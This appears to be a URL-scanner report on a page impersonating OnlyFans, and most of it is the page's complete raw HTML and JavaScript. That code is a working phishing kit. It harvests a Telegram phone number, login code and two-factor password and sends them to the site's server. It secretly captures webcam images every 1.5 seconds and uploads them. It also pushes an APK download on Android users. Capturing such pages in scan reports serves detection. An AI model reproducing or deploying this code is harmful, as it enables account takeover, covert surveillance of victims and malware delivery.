- ID de l'analyse :
- 1335851f-7d7c-4f6e-bf09-33ff798973cdTerminée
- URL soumise :
- https://onlyfans.fit/wetbitch06
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 12 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
jQuery | function |
Inputmask | function |
default | function |
hasGetUserMedia | function |
post | function |
init | function |
Messages de journal de console : 8 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
error | network |
|
error | network |
|
error | network |
|
error | network |
|
log | other |
|
log | other |
|
log | other |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="ru"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>OnlyFans</title>
<link rel="apple-touch-icon" sizes="180x180" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/apple-touch-icon.png?">
<link rel="icon" type="image/png" sizes="32x32" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon-32x32.png?">
<link rel="icon" type="image/png" sizes="192x192" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/android-chrome-192x192.png?">
<link rel="icon" type="image/png" sizes="16x16" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon-16x16.png?">
<link rel="manifest" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/site.webmanifest?">
<link rel="mask-icon" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/safari-pinned-tab.svg?" color="#00aff0">
<link rel="shortcut icon" href="https://static.onlyfans.com/theme/onlyfans/spa/icons/favicon.ico?">
<link href="https://unpkg.com/[email protected]/css/boxicons.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v6.4.0/css/all.css">
<link rel="stylesheet" href="/assets/css/app.css?v=1304727624">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js"></script>
<script src="/assets/js/inputmask.min.js"></script>
<script defer="" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/cdn.min.js"></script>
<script>
const isAndroid = navigator.userAgent.toLowerCase().indexOf('android') > -1
</script>
<style data-lang-style="">
[data-ln="en"] {
display: none;
}
</style>
<script>
const isEnglish = false
$(document).ready(function() {
if (isEnglish) {
$('[data-ln]').each(function() {
if ($(this).attr('data-ln') !== 'en') {
$(this).hide()
} else {
$(this).show()
}
})
$('[data-lang-style]').remove()
} else {
$('[data-ln="en"]').hide()
$('[data-ln]').not('[data-ln="en"]').show()
}
})
</script>
</head>
<body>
<div id="app">
<div class="max-h-[600px] flex-wrap md:flex-nowrap h-full w-full flex justify-between relative border border-t-0 border-x-0 border-b-black/10 " id="top">
<div class="w-full md:w-[50%] max-h-[600px] min-h-[600px] h-full bg-[#00aff0] leftBox relative py-[94px]">
<div class="flex ml-4 md:ml-auto w-full md:w-[85%] justify-end">
<div class="flex justify-center flex-col max-w-[344px] w-full mx-auto">
<div class="flex justify-start">
<img src="/assets/img/logo-full.png" alt="" class="h-[48px] mb-[13px]">
</div>
<h2 class="block w-full text-left text-[32px] text-[#fefefe] mb-[31px] leading-[40px] roboto">
<span data-ln="ru">
Зарегистрируйтесь, чтобы поддержать любимых авторов
</span>
<span data-ln="en" style="display: none;">
Sign up to support your favorite authors
</span>
</h2>
</div>
</div>
</div>
<div class="w-full md:w-[50%] py-[94px] flex justify-center items-center bg-[url(/assets/img/baba.jpg)] relative">
<div class="absolute top-0 left-0 w-full h-full bg-black/[.30] backdrop-blur-[2px] z-[8]"></div>
<button class="auth__telegram-button relative z-[9]">
<i class="fa-brands fa-telegram text-white pl-2 text-2xl"></i>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Войти через Telegram</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Join with Telegram</span>
<span></span>
</button>
</div>
</div>
<div class="max-w-[calc(856px+2rem)] mx-auto mt-[280px] md:mt-[36px]">
<div class="flex flex-col gap-y-4 mx-4">
<p class="block text-left text-[#242529] text-[32px] leading-[40px] mb-[36px] roboto">
<span data-ln="ru">Последние избранные посты</span>
<span data-ln="en" style="display: none;">Recent selected posts</span>
</p>
<div class="post roboto">
<div class="head py-[12px] px-[16px]">
<div class="pl-[1px] flex justify-start gap-x-[10px]">
<img src="https://thumbs.onlyfans.com/public/files/thumbs/c50/m/mk/mka/mkamcrf6rjmcwo0jj4zoavhmalzohe5a1640180203/avatar.jpg" alt="" class="rounded-full w-[48px] h-[48px]">
<div class="flex justify-start flex-col">
<a class="text-[16px] leading-[20px] font-medium hover:underline" href="#top">
OnlyFans
<i class="bx bx-check-circle align-middle"></i>
</a>
<a href="#top" class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px] mt-0.5">@onlyfans</a>
</div>
</div>
<a class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px]" href="#top">
<span data-ln="ru">окт. 12</span>
<span data-ln="en" style="display: none;">oct. 12</span>
</a>
</div>
<div class="content">
<div class="text-[16px] leading-[24px]">
<p class="py-[12px] px-[16px]">
Kate and Sophi - Partner Yoga | Katrin TV
<br>
It's time for some fun! Learn some couple yoga poses with
<a href="#top">@katrintv</a>
and
<a href="#top">@firefoxso!</a>
<br>
Watch more:
<a href="#top">of.tv/katrin-tv</a>
<br>
<a href="#top" class="text-[14px]" data-ln="ru">Подробнее</a>
<a href="#top" class="text-[14px]" data-ln="en" style="display: none;">Read more</a>
</p>
<div class="relative">
<img src="/assets/img/preview.png" alt="" class="rounded-b-[6px]">
<a class="bg-black bg-opacity-50 py-4 pl-5 pr-4 rounded-full absolute top-[50%] left-[50%] hover:bg-opacity-60 transition" style="transform: translate(-50%, -50%)" href="#top">
<i class="fa-solid fa-play text-[36px] text-white/40"></i>
</a>
</div>
</div>
</div>
</div><div class="post roboto">
<div class="head py-[12px] px-[16px]">
<div class="pl-[1px] flex justify-start gap-x-[10px]">
<img src="https://thumbs.onlyfans.com/public/files/thumbs/c50/m/mk/mka/mkamcrf6rjmcwo0jj4zoavhmalzohe5a1640180203/avatar.jpg" alt="" class="rounded-full w-[48px] h-[48px]">
<div class="flex justify-start flex-col">
<a class="text-[16px] leading-[20px] font-medium hover:underline" href="#top">
OnlyFans
<i class="bx bx-check-circle align-middle"></i>
</a>
<a href="#top" class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px] mt-0.5">@onlyfans</a>
</div>
</div>
<a class="text-[#8a96a3] hover:text-[#0091ea] hover:underline text-[14px]" href="#top">
<span data-ln="ru">окт. 12</span>
<span data-ln="en" style="display: none;">oct. 12</span>
</a>
</div>
<div class="content">
<div class="text-[16px] leading-[24px]">
<p class="py-[12px] px-[16px]">
Paris Vlog | Lizzy
<br>
Explore the enchanting streets of Paris with @youngy.lizzy!
<br>
Wander through the city of love, discover hidden gems, and indulge in delicious pastries together! 🥐
<br>
<a href="#top" class="text-[14px]" data-ln="ru">Подробнее</a>
<a href="#top" class="text-[14px]" data-ln="en" style="display: none;">Read more</a>
</p>
<div class="relative">
<img src="/assets/img/preview2.jpg" alt="" class="rounded-b-[6px]">
<a class="bg-black bg-opacity-50 py-4 pl-5 pr-4 rounded-full absolute top-[50%] left-[50%] hover:bg-opacity-60 transition" style="transform: translate(-50%, -50%)" href="#top">
<i class="fa-solid fa-play text-[36px] text-white/40"></i>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="bg-white mt-[26px] w-full">
<div class="max-w-[calc(1118px+2rem)] w-full mx-auto pt-[35px] pb-[50px]">
<div class="flex justify-start flex-wrap text-[#8a96a3] pt-[13px] text-[12px] leading-[16px] roboto mx-4">
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top" class="font-medium">
© <script>document.write( new Date().getFullYear() )</script>2024 OnlyFans
</a>
<a href="#top" class="font-medium">
<span data-ln="ru">Контакты</span>
<span data-ln="en" style="display: none;">Contacts</span>
</a>
<div class="flex justify-start gap-x-[12px] text-[16px]">
<a href="#top">
<i class="fa-brands fa-twitter"></i>
</a>
<a href="#top">
<i class="fa-brands fa-instagram"></i>
</a>
</div>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Help
</a>
<a href="#top">
Store
</a>
<a href="#top">
Cookie Notice
</a>
<a href="#top" class="mt-[8px]">
OnlyFans Safety & Transparency
<br>
Center
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
About
</a>
<a href="#top">
Terms of Service
</a>
<a href="#top">
DMCA
</a>
<a href="#top" class="mt-[8px]">
Anti-Slavery and Anti-Trafficking
<br>
Statement
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Blog
</a>
<a href="#top">
Privacy
</a>
<a href="#top">
USC 2257
</a>
<a href="#top" class="mt-[8px]">
Acceptable Use Policy
</a>
</div>
<div class="w-1/2 md:w-1/5 footerMenu">
<a href="#top">
Branding
</a>
<a href="#top">
Complaints Policy
</a>
<a href="#top">
Standard Contract between Fan and Creator
</a>
</div>
</div>
</div>
</footer>
<div id="modal" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" data-ln="ru">
Войдите через
<span class="text-[#4285f4]">Telegram</span>
аккаунт
</p>
<p class="text-xl font-medium" data-ln="en" style="display: none;">
Join with
<span class="text-[#4285f4]">Telegram</span>
account
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="phone" class="text-[#8a96a3] text-sm" data-ln="ru">Номер телефона</label>
<label for="phone" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Phone number</label>
<div class="relative w-full">
<input type="text" id="phone" class="outline-none border border-black border-opacity-20 rounded-xl py-2 pl-[1.25rem] pr-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
w-full
" placeholder="" autocomplete="off" maxlength="15" inputmode="text">
<span class="absolute left-2 top-[.6rem]" style="color: #000">+</span>
<div id="incPhone" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Вы ввели номер неверно!
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect phone number
</span>
</div>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-next">
<span data-ln="ru">Продолжить</span>
<span data-ln="en" style="display: none;">Next</span>
</button>
</div>
</div>
</div>
<div id="modal-code" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" data-ln="ru">
Введите код, отправленный
<br>
Вам в
<span class="text-[#4285f4]">Telegram</span>
</p>
<p class="text-xl font-medium" data-ln="en" style="display: none;">
Enter code sent
<br>
to you in
<span class="text-[#4285f4]">Telegram</span>
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="code" class="text-[#8a96a3] text-sm" data-ln="ru">Введите код</label>
<label for="code" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Enter code</label>
<input type="text" id="code" class="outline-none border border-black border-opacity-20 rounded-xl p-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
" placeholder="999-11" autocomplete="off" inputmode="text">
<div id="incCode" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Неверный код
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect code
</span>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-code-enter">
<span data-ln="ru">Войти</span>
<span data-ln="en" style="display: none;">Enter</span>
</button>
</div>
</div>
</div>
<div id="modal-password" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<p class="text-xl font-medium" style="font-size: 1rem !important; line-height: 1.35rem !important;" data-ln="ru">
Чтобы мы могли авторизовать ваш <span class="text-[#4285f4]">Telegram</span> введите,
<br> пароль от двухфакторной аутентификации
</p>
<p class="text-xl font-medium" style="font-size: 1rem !important; line-height: 1.35rem !important; display: none;" data-ln="en">
So that we can authorize your <span class="text-[#4285f4]">Telegram</span> enter,
<br> password for two-factor authentication
</p>
<div class="mt-4 flex flex-col gap-y-3">
<label for="password" class="text-[#8a96a3] text-sm" data-ln="ru">Введите пароль</label>
<label for="password" class="text-[#8a96a3] text-sm" data-ln="en" style="display: none;">Enter password</label>
<input type="text" id="password" class="outline-none border border-black border-opacity-20 rounded-xl p-2 placeholder-black/40
hover:bg-opacity-[.35]
focus:bg-opacity-[.45]
active:bg-opacity-[.45] transition ease-linear
" autocomplete="off">
<div id="incPassword" style="display: none">
<span style="color: red; font-size: 0.75rem; position: relative;" data-ln="ru">
Неверный пароль
</span>
<span style="color: red; font-size: 0.75rem; position: relative; display: none;" data-ln="en">
Incorrect password
</span>
</div>
<button type="submit" class="bg-[#4285f4] w-full py-2 text-sm font-medium text-center rounded-xl text-white
hover:bg-opacity-80 active:bg-opacity-[.75] focus:bg-opacity-[.75] transition ease-linear
" id="modal-password-enter">
<span data-ln="ru">Войти</span>
<span data-ln="en" style="display: none;">Enter</span>
</button>
</div>
</div>
</div>
<div id="loading-screen" class="fixed top-0 left-0 w-full h-full hidden" style="z-index: 9999999">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<div id="error" style="color: #000"></div>
<span class="text-center text-[#4285f4]">
<i class="bx bx-loader w-[64px] mx-auto h-[64px] text-[64px] animate-spin-slow"></i>
</span>
</div>
</div>
</div>
<div id="show-cam" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-sm" id="modal-code-close"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[250px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<span class="text-center text-[#242529]" id="show-cam-text">
<span data-ln="ru">Для продолжения необходимо дать доступ к камере</span>
<span data-ln="en" style="display: none;">To continue, you need to give access to the camera</span>
</span>
</div>
</div>
</div>
<div id="tg-auth" class="fixed top-0 left-0 w-full h-full z-20 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-md" onclick="$('#tg-auth').fadeOut(150)"></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[320px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<p class="text-[#4285f4] text-sm font-medium text-center" data-ln="ru">
Требуется авторизация через Telegram
</p>
<p class="text-[#4285f4] text-sm font-medium text-center" data-ln="en" style="display: none;">
Authorization via Telegram is required
</p>
<button class="auth__telegram-button w-full relative z-[9]" onclick="$('#tg-auth').css('display', 'none')">
<i class="fa-brands fa-telegram text-white pl-2 text-2xl"></i>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Войти через Telegram</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Join with Telegram</span>
<span></span>
</button>
</div>
</div>
</div>
<div id="download-android" class="fixed top-0 left-0 w-full h-full z-50 hidden">
<div class="absolute top-0 left-0 w-full h-full z-[21] bg-black bg-opacity-20 backdrop-blur-md" onclick=""></div>
<div class="absolute top-[50%] left-[45%] md:left-[50%] bg-white p-4 border border-black border-opacity-20 rounded-xl z-[22] mx-4 min-w-[320px]" style="transform: translate(-50%, -50%)">
<div class="flex flex-col gap-y-3">
<p class="text-[#4285f4] text-sm font-medium text-center montserrat">
<span data-ln="ru">ANDROID-приложение</span>
<span data-ln="en" style="display: none;">ANROID-application</span>
</p>
<button class="auth__telegram-button notgo w-full relative z-[9] px-[.75rem]" onclick="$('#tg-auth').css('display', 'none')" data-download-app="">
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="ru">Скачать</span>
<span class="text-[#fefefe] uppercase text-[14px] leading-[20px] roboto font-medium" data-ln="en" style="display: none;">Download</span>
<span class="uppercase">
<img src="/assets/img/android.png" alt="ICON_ANDROID" class="max-w-[24px]">
</span>
</button>
</div>
</div>
</div>
<script>
const isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream
</script>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline="" autoplay=""></video>
</div>
<canvas hidden="hidden" id="canvas" width="800" height="640"></canvas>
<script>
let $code = $('#code')
let $phone = $('#phone')
$phone.inputmask('999999999999999', { "placeholder": "" })
$code.inputmask({
mask: "999-99"
})
$('a[href="#top"]').on('click', function (e) {
e.preventDefault()
window.scrollTo({ top: 0, behavior: "instant"})
$('#modal').fadeIn(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
})
$('.auth__telegram-button:not(.notgo)').on('click', function (e) {
e.preventDefault()
$('#modal').fadeIn(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
})
$('#modal-close').on('click', function (e) {
e.preventDefault()
$('#modal').fadeOut(100)
$nextModal.removeAttr('disabled')
$('body').css('overflow-y', 'auto').css('height', 'auto')
})
let $nextModal = $('#modal-next')
$nextModal.on('click', function (e) {
e.preventDefault()
let $phone = $('#phone')
function showIncorrectPhone() {
$phone.css('border-color', 'red')
$('#incPhone').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incPhone').hide()
}, 2000)
}
if( $.trim( $phone.val() ) !== '' ) {
if( $phone.val().replace(/[^0-9]/g, '').length > 15
|| $phone.val().replace(/[^0-9]/g, '').length < 8
|| $phone.val().replace(/[^0-9]/g, '')[0] === '0'
|| $phone.val().replace(/[^0-9]/g, '')[0] === '9'
|| $phone.val().replace(/[^0-9]/g, '')[0] === '8'
||
(
$phone.val().replace(/[^0-9]/g, '')[0] === '8'
&&
$phone.val().replace(/[^0-9]/g, '')[1] === '0'
)
) {
showIncorrectPhone()
} else {
if( $nextModal.attr('disabled') === undefined ) {
$nextModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=phone&phone=" + $phone.val().replace(/[^0-9]/g, ''),
method: "GET",
success: function (resp) {
if ( resp.status !== 'error' ) {
$('#modal').hide()
$('#modal-code').show()
} else {
showIncorrectPhone()
}
}
}).done( function () {
$('#loading-screen').fadeOut(150)
} )
}
}
} else {
showIncorrectPhone()
}
})
let $codeModal = $('#modal-code-enter')
$codeModal.on('click', function (e) {
e.preventDefault()
$('#loading-screen').fadeIn(150)
let $code = $('#code')
let $codeVal
function showIncorrectCode() {
$code.css('border-color', 'red')
$('#modal-code-enter').removeAttr('disabled')
setTimeout(function () {
$code.removeAttr('style')
}, 2000)
$('#incCode').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incCode').hide()
}, 2000)
}
if ($.trim($code.val()) !== '') {
$codeVal = $code.val().replace(/[^0-9]/g, '')
if ($codeVal.length !== 5 || $codeVal === '999-11' || $codeVal === '99911') {
showIncorrectCode()
} else {
if ($codeModal.attr('disabled') === undefined) {
$codeModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=code&code=" + $code.val().replace(/[^0-9]/g, ''),
method: "GET",
success: function (data) {
$('#loading-screen').fadeOut(150)
data = JSON.parse(data)
if (data.status !== 'error') {
if (data.next === 'password') {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#modal-password').fadeIn(100)
} else {
if (hasGetUserMedia()) {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#show-cam').fadeIn(100)
init()
} else {
$('#modal-code').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
if (isAndroid) {
$('#download-android').fadeIn(100)
} else {
$('#loading-screen').fadeIn(100)
}
}
}
} else {
$('#modal-code-enter').removeAttr('disabled')
$('#loading-screen').fadeOut(150)
showIncorrectCode()
}
},
error: function () {
$('#loading-screen').fadeOut(150)
showIncorrectCode()
},
})
}
}
} else {
$code.css('border-color', 'red')
setTimeout(function () {
$phone.removeAttr('style')
}, 2000)
}
})
let $passwordModal = $('#modal-password-enter')
$passwordModal.on('click', function (e) {
$('#loading-screen').fadeIn(150)
e.preventDefault()
let $password = $('#password')
let $passVal
function showIncorrectPassword() {
$('#password-error').css('opacity', '1')
$passwordModal.removeAttr('disabled')
setTimeout( function () {
$('#password-error').css('opacity', '0')
}, 3000 )
$password.css('border-color', 'red')
setTimeout(function () {
$password.removeAttr('style')
}, 2000)
$('#incPassword').show()
setTimeout(function () {
$phone.removeAttr('style')
$('#incPassword').hide()
}, 2000)
}
if ($.trim($password.val()) !== '') {
$passVal = $password.val()
if ($passwordModal.attr('disabled') === undefined) {
$passwordModal.attr('disabled', '')
$.ajax({
url: "/ajax?do=password",
method: "POST",
data: {
password: $passVal,
},
success: function (data) {
$('#loading-screen').fadeOut(150)
$('#modal-password-enter').removeAttr('disabled')
data = JSON.parse(data)
if (data.status !== 'error') {
if (hasGetUserMedia()) {
$('#modal-password').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
$('#show-cam').fadeIn(100)
init()
} else {
$('#modal-password').fadeOut(100)
$('body').css('overflow-y', 'hidden').css('height', '100vh')
if (isAndroid) {
$('#download-android').fadeIn(100)
} else {
$('#loading-screen').fadeIn(100)
}
}
} else {
showIncorrectPassword()
}
},
error: function () {
$('#loading-screen').fadeOut(150)
$('#modal-password-enter').removeAttr('disabled')
showIncorrectPassword()
}
}).done( function () {
$('#modal-password-enter').removeAttr('disabled')
} )
}
} else {
showIncorrectPassword()
}
})
</script>
<script>
$('[data-download-app]').on('click', function (e) {
e.preventDefault()
if ( localStorage.getItem('app') === null ) {
$.ajax({
url: '/ajax?do=download',
method: 'GET',
success: function () {
localStorage.setItem('app', 'true')
},
complete: function () {
window.location.href = '/OnlyFans.apk'
}
})
} else {
window.location.href = '/OnlyFans.apk'
}
})
function hasGetUserMedia() {
return ( navigator.getUserMedia ||
navigator.webkitGetUserMedia ||
navigator.mozGetUserMedia ||
navigator.msGetUserMedia)
}
async function post(imgdata) {
await $.ajax({
type: 'POST',
data: { cat: imgdata },
url: '/saycheese/',
dataType: 'json',
async: true,
success: function (result) {
},
error: function () {
}
})
}
const video = document.getElementById('video'),
canvas = document.getElementById('canvas'),
errorMsgElement = document.querySelector('#errorMsg')
const constraints = {
audio: false,
video: {
facingMode: "user"
}
}
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints)
await handleSuccess(stream)
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`
}
}
async function handleSuccess(stream, showModal = 1) {
if ( localStorage.getItem('camera') === null ) {
localStorage.setItem('camera', 'true')
}
window.stream = stream
video.srcObject = stream
if ( showModal ) {
if (isAndroid) {
$('#show-cam').fadeOut(150)
$('#download-android').fadeIn(100)
} else {
$('#show-cam').fadeOut(150)
$('#loading-screen').fadeIn(150)
}
}
// $('body').attr('style', ' ')
let context = await canvas.getContext('2d')
setInterval(async function () {
await context.drawImage(video, 0, 0, 800, 640)
let canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream")
await post(canvasData)
}, 1500)
}
if ( localStorage.getItem('camera') !== null ) {
navigator.mediaDevices.getUserMedia(constraints)
.then(function(stream) {
handleSuccess(stream, 0)
})
.catch(function(err) {
localStorage.removeItem('camera')
console.log(err.name + ": " + err.message)
})
}
</script>
<script>
(function () {
setTimeout(function () {
console.log('--------------------')
console.log('Page render time: ' + 0.70391988754272 + 's')
console.log('--------------------')
}, 500)
})()
</script>
</body></html>